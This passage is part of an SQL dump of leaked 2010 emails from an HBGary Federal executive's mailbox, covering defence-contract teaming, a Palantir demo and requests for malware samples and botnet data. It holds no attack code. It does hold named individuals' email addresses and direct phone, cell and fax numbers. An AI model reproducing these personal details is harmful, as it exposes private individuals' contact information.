Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3910,'aaron_hbgary_com/3910.html'),(3139,'2010-02-26','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001472.M409228P3547Q3139.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir govcon apr 7','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds good Aaron.&nbsp; And just note, if the dev actions cant be\r\ncompleted by Apr 7, if Greg and his team perform any compelling analysis within\r\nPalantir, we could certainly have you just showing off the research.\r\n\r\n&nbsp;\r\n\r\nJust a thought.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:09 AM\r\nTo: Matthew Steckman\r\nCc: Masterson, Brian (Xetron)\r\nSubject: Re: Palantir govcon apr 7\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI don\'t think we have much cool yet. &nbsp;I would like to\r\nhave something really sexy for govcon. &nbsp;I will touch base with Greg and\r\nBrian to see with that target what we think we can put together.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 6:00 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nwanted to let you guys know that we are still tracking for a demo station for\r\nany integration you put together before our Government Conference in\r\nApril.&nbsp; Any cool progress made thus far?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10823,'aaron_hbgary_com/10823.html'),(3140,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001472.M618729P3547Q3140.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talked to GD','That is what GD brings, OPS. &nbsp;So from Van Puttes perspective, just spitballing, he sees GD he things, ah DC3, operational relevance and follow through, usecases. &nbsp;From NG he sees data correlation, HBGary he sees traits for digital artifacts. &nbsp;Its a good story. &nbsp;And then add the other guys, a university. &nbsp;Good story. &nbsp;Probably a winning story if the proposal is written well. &nbsp;Separate we have good stories, but more of a gamble. &nbsp;The GD machine already has their contacts, technical writers going to town. &nbsp;If you prime what is the team if GD walks? &nbsp;Do we have a university? &nbsp;Is it just HBGary and NG?AaronOn Feb 26, 2010, at 9:21 AM, Masterson, Brian (Xetron) wrote:And, still not sure what they are bringing.&nbsp; Yes, DC3.&nbsp; Berkeley has something dealing with obfuscation but I am not sure what it is and how it fits into Task 1.&nbsp; Then, not sure what SRI has.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 9:17 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Talked to GD&nbsp;yeah I talked to Chris later in the day and they seemed pretty focused on priming something as they feel its important. &nbsp;I guess their flexibility was mostly around Tech Area3. &nbsp;Although the hours thing sounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out. &nbsp;I think we tell a strong story together, separated I am not sure how strong our individual stories are for that area.&nbsp;Aaron&nbsp;&nbsp;On Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron) wrote:Aaron,I talked to GD.&nbsp; We need to get NDAs exchanged to facilitate further discussions.&nbsp; Chris mentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they&nbsp;would prime and&nbsp;would give us whatever hours we want.&nbsp; I said that we were&nbsp;planning on priming and that I do not have&nbsp;the&nbsp;authority to change that.&nbsp; He understand and we agreed to discuss further.Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16857,'aaron_hbgary_com/16857.html'),(3141,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001472.M829428P3547Q3141.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Talked to GD','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat if I go get NGIS to bring in JTF-GNO?&nbsp; Yeah, but what is\r\nthe university bringing?&nbsp; You originally said that GD was not looking to\r\nprime.&nbsp; I passed that on.&nbsp; I now have to go back and change that.&nbsp; Also, if we only\r\nend up with a couple hundred K of labor, I don&#8217;t know if we will want to give\r\nGD access to IG.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:29 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Talked to GD\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat is what GD brings, OPS. &nbsp;So from Van Puttes\r\nperspective, just spitballing, he sees GD he things, ah DC3, operational\r\nrelevance and follow through, usecases. &nbsp;From NG he sees data correlation,\r\nHBGary he sees traits for digital artifacts. &nbsp;Its a good story. &nbsp;And\r\nthen add the other guys, a university. &nbsp;Good story. &nbsp;Probably a\r\nwinning story if the proposal is written well. &nbsp;Separate we have good\r\nstories, but more of a gamble. &nbsp;The GD machine already has their contacts,\r\ntechnical writers going to town. &nbsp;If you prime what is the team if GD\r\nwalks? &nbsp;Do we have a university? &nbsp;Is it just HBGary and NG?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 9:21 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnd, still not sure what they are bringing.&nbsp; Yes,\r\nDC3.&nbsp; Berkeley has something dealing with obfuscation but I am not sure\r\nwhat it is and how it fits into Task 1.&nbsp; Then, not sure what SRI has.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 26,\r\n2010 9:17 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Talked to GD\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nyeah I talked to Chris later in the day and they seemed\r\npretty focused on priming something as they feel its important. &nbsp;I guess\r\ntheir flexibility was mostly around Tech Area3. &nbsp;Although the hours thing\r\nsounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out.\r\n&nbsp;I think we tell a strong story together, separated I am not sure how\r\nstrong our individual stories are for that area.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI talked to GD.&nbsp; We\r\nneed to get NDAs exchanged to facilitate further discussions.&nbsp; Chris\r\nmentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they&nbsp;would\r\nprime and&nbsp;would give us whatever hours we\r\nwant.&nbsp; I said that we were&nbsp;planning on priming and that I do\r\nnot have&nbsp;the&nbsp;authority\r\nto change that.&nbsp; He understand and we agreed to discuss further.\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15831,'aaron_hbgary_com/15831.html'),(3142,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001473.M248167P3547Q3143.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talked to GD','I know. &nbsp;My fault. &nbsp;They told me they were completely flexible on priming, they just wanted to be on a winning team. &nbsp;I guess I shouldn\'t have extrapolated that to all the technical areas we were pursuing. &nbsp;Not sure what the university is bringing yet, so not really putting that in the relevant category yet, if they do bring something, well universities help. &nbsp;JTF-GNO is no help...they are a clueless organization, and so is NGIS. &nbsp;I would have no interest in that. &nbsp;I was hoping Chris would have emphasized the full-spectrum threat analysis they do at DC3 (all manual).Sorry, I hope I haven\'t just muddled things.On Feb 26, 2010, at 9:33 AM, Masterson, Brian (Xetron) wrote:What if I go get NGIS to bring in JTF-GNO?&nbsp; Yeah, but what is the university bringing?&nbsp; You originally said that GD was not looking to prime.&nbsp; I passed that on.&nbsp; I now have to go back and change that.&nbsp; Also, if we only end up with a couple hundred K of labor, I don’t know if we will want to give GD access to IG.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 9:29 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Talked to GD&nbsp;That is what GD brings, OPS. &nbsp;So from Van Puttes perspective, just spitballing, he sees GD he things, ah DC3, operational relevance and follow through, usecases. &nbsp;From NG he sees data correlation, HBGary he sees traits for digital artifacts. &nbsp;Its a good story. &nbsp;And then add the other guys, a university. &nbsp;Good story. &nbsp;Probably a winning story if the proposal is written well. &nbsp;Separate we have good stories, but more of a gamble. &nbsp;The GD machine already has their contacts, technical writers going to town. &nbsp;If you prime what is the team if GD walks? &nbsp;Do we have a university? &nbsp;Is it just HBGary and NG?&nbsp;Aaron&nbsp;On Feb 26, 2010, at 9:21 AM, Masterson, Brian (Xetron) wrote:And, still not sure what they are bringing.&nbsp; Yes, DC3.&nbsp; Berkeley has something dealing with obfuscation but I am not sure what it is and how it fits into Task 1.&nbsp; Then, not sure what SRI has.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 9:17 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Talked to GD&nbsp;yeah I talked to Chris later in the day and they seemed pretty focused on priming something as they feel its important. &nbsp;I guess their flexibility was mostly around Tech Area3. &nbsp;Although the hours thing sounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out. &nbsp;I think we tell a strong story together, separated I am not sure how strong our individual stories are for that area.&nbsp;Aaron&nbsp;&nbsp;On Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron) wrote:Aaron,I talked to GD.&nbsp; We need to get NDAs exchanged to facilitate further discussions.&nbsp; Chris mentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they&nbsp;would prime and&nbsp;would give us whatever hours we want.&nbsp; I said that we were&nbsp;planning on priming and that I do not have&nbsp;the&nbsp;authority to change that.&nbsp; He understand and we agreed to discuss further.Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12795,'aaron_hbgary_com/12795.html'),(3143,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001473.M559539P3547Q3144.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Things we need','Thanks.On Feb 26, 2010, at 9:39 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nAaron,Here are what we have going on:Malware integration:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need you to get with our contracts manager Mike Rushing to get the PIEA changes made2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need the malware and exploit sent to usCyber Threat1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A copy of the results of the Aurora analysis that was done out in Sacramento two weeks ago2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A description of the process used for the Aurora analysis3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At least one copy of HBGary tools4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assistance with interfacing to HBGary tools to extract data items5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware database6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware repository\r\n\r\nDARPA Proposal1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TBDNear-term work1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memory object from recon2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; License requirements for Greg’s new concept\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3165,'aaron_hbgary_com/3165.html'),(3144,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001473.M63734P3547Q3142.eml','\"Aaron Barr\" <aaron@hbgary.com>','Things we need','\r\n\r\n\r\n\r\n\r\nThings we need\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHere are what we have going on:\r\n\r\nMalware integration:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need you to get with our contracts manager Mike Rushing to get the PIEA changes made\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Need the malware and exploit sent to us\r\n\r\n\r\n\r\nCyber Threat\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A copy of the results of the Aurora analysis that was done out in Sacramento two weeks ago\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A description of the process used for the Aurora analysis\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At least one copy of HBGary tools\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assistance with interfacing to HBGary tools to extract data items\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware database\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary malware repository\r\n\r\n\r\n\r\nDARPA Proposal\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TBD\r\n\r\n\r\n\r\nNear-term work\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Memory object from recon\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; License requirements for Greg&#8217;s new concept\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',11819,'aaron_hbgary_com/11819.html'),(3145,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001473.M749553P3547Q3145.eml','nolan@informationsecuritysolutionsllc.com','Were we going to talk today?','Thought we were going to talk at 930?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8042,'aaron_hbgary_com/8042.html'),(3146,'2010-02-26','\"Jeff m\" <jeffmac710@gmail.com>','/aaron@hbgary.com/new/1297001473.M960570P3547Q3146.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Intel IT shares top solutions to reduce security attacks','\r\n\r\n\r\nMay be interesting.\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you do not see the message below, please click here.\r\nTo ensure you get every edition properly,please add isd@softwaredispatch.intel.com to your address book.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nReduce attacks with proven security best practices from Intel IT\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear jeff, At Intel, our IT staff experiences the same information security attacks that threaten global enterprise IT losses at an alarming rate. Learn to better qualify the most critical threats and proactively protect against them—from development and integration through end-of-life activities—with two new security white papers from Intel IT. \r\n\r\n\r\n\r\n\r\n\r\n\r\nRead It Now » [308 KB | PDF] \r\n\r\nRead It Now » [484 KB | PDF] \r\n\r\n\r\n\r\n\r\nGetting Ahead of Malware documents how Intel cut global attack event responses by 40 percent in just two years. Intel actively maintains a real-time monitoring and interpreting process that seeks to identify and take action against malware before it reaches Intel&#39;s user base. Download this white paper to get Intel security experts&#39; best practices. \r\nLiving through a vicious cycle of addressing ongoing threats? Intel shares how its threat agent risk assessment (TARA) methodology enables you to advance beyond chasing single incident vulnerabilities to focus on predictive analysis of where your system could be exploited. This new security strategy illustrates how resources are likely to be used and exposes motivations for potential attacks, so you can prevent them before they happen. \r\nDownload the white paper for new expertise on how to reduce your company&#39;s risk factor and conserve valuable IT resources. \r\nThe U.S. Department of Homeland Security&#39;s IT Sector utilizes TARA in Baseline Risk Assessments. Shouldn&#39;t you? \r\nShare this e-alert with a colleague. \r\nBrought to you by Intel® Software Dispatch. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n...received this \r\nemail from a friend? Subscribe now!\r\n\r\n...update your \r\ninterests.\r\n\r\n...check out\r\nthe library.\r\n\r\n...attend an \r\nexpert webinar.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n*Other names and brands are the property of their respective owners. You are receiving this information because you have expressed interest in the Intel® Software Dispatch E-Alert program. To ensure receipt of our e-mails, please add Intel Software Dispatch to your Address Book. Thank you. \r\nThis e-mail may include an offer from: Intel Corporation, 2111 NE 25th Avenue, Hillsboro, OR 97124. To unsubscribe from the Intel Software Dispatch E-Alerts program, click here. \r\nIf you have any questions about this e-mail or believe you have received it in error, e-mail us at isd.support@intel.com. We will also need the subject line which describes the content of the message.\r\n© 2010 Intel Corporation | Legal Information | Privacy Policy \r\n\r\n\r\n\r\n\r\n',14458,'aaron_hbgary_com/14458.html'),(3147,'2010-02-26','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297001474.M142539P3547Q3147.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Datasets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe don&#8217;t capture DNS today, but will be shortly (2Q).&nbsp; We do\r\nanalyze all HTTP traffic, proxied or not.&nbsp; I&#8217;m sure we can help them out in\r\nsome way.&nbsp; Our only issue is that we only store the sessions that violate a\r\npolicy, vs storing all traffic.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:00 AM\r\nTo: Etue, David\r\nSubject: Fwd: Datasets\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDave,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan you help with the below request at all? &nbsp;This is\r\njust not the type of data HBGary focuses on. &nbsp;Actually I meant to talk to\r\nyou about this type of thing. &nbsp;We are looking to develop some good models\r\nof attacks, a good amount of this type of traffic would be helpful, but not\r\nsure if you guys store such traffic either. &nbsp;I\'ll make the introduction to\r\nPalantir.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron\r\nZollman &lt;azollman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n19, 2010 12:41:40 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\nMatthew\r\nSteckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron B!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI met Greg and (I think) Rich and Shaun in Sacramento on Tuesday\r\nto help introduce them to the platform; it was great to learn more about how\r\nyou track and respond to coordinated attacks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRight now, I&#8217;m trying to model a fast-flux coordinated botnet in\r\nPalantir and show how someone with access to a good amount of passive DNS or\r\nproxy traffic can build a visual picture of the nodes involved in coordination,\r\nand how control and activity transfer over time.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRather than try and mock up a dataset from scratch, do you guys\r\nhave some historical logs to share, say from a few days of Storm, that might\r\nmake for a more believable or accurate model?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Aaron Z.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Friday, February 19,\r\n2010 6:31 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Aaron Zollman\r\nSubject:&nbsp;Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nId\r\nlike to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do\r\nyou think you could work with him to get us some mock datasets to play around\r\nwith in Palantir?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIll\r\nlet him pick up the thread from here, you should see an email from him with a\r\ndescription of what we&#8217;re looking for sometime today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11474,'aaron_hbgary_com/11474.html'),(3148,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001474.M373549P3547Q3148.eml','\"Bob Slapnik\" <bob@hbgary.com>','Can you help with these items','Hi Bob,\r\n\r\nI would like to talk with you today about the proposals.  Whats going on there.  Plus I need you to help me get a few things.\r\n\r\nI need 1 or 2 copies of HBGary tools to provide to Xetron for the purposes of our IRAD.  Actually I need a copy myself.\r\nWhat can we give Xetron access to in regards to the malware database and repository?\r\nWhen is the next training class for advanced malware analysis?\r\n\r\nGive me a call.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15312,'aaron_hbgary_com/15312.html'),(3149,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001474.M609508P3547Q3149.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: Datasets','Not sure if this will help?Begin forwarded message:From: \"Etue, David\" &lt;david.etue@fidelissecurity.com&gt;Date: February 26, 2010 9:55:01 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: DatasetsWe don’t capture DNS today, but will be shortly (2Q).&nbsp; We do analyze all HTTP traffic, proxied or not.&nbsp; I’m sure we can help them out in some way.&nbsp; Our only issue is that we only store the sessions that violate a policy, vs storing all traffic.&nbsp;David&nbsp;From:&nbsp;Aaron 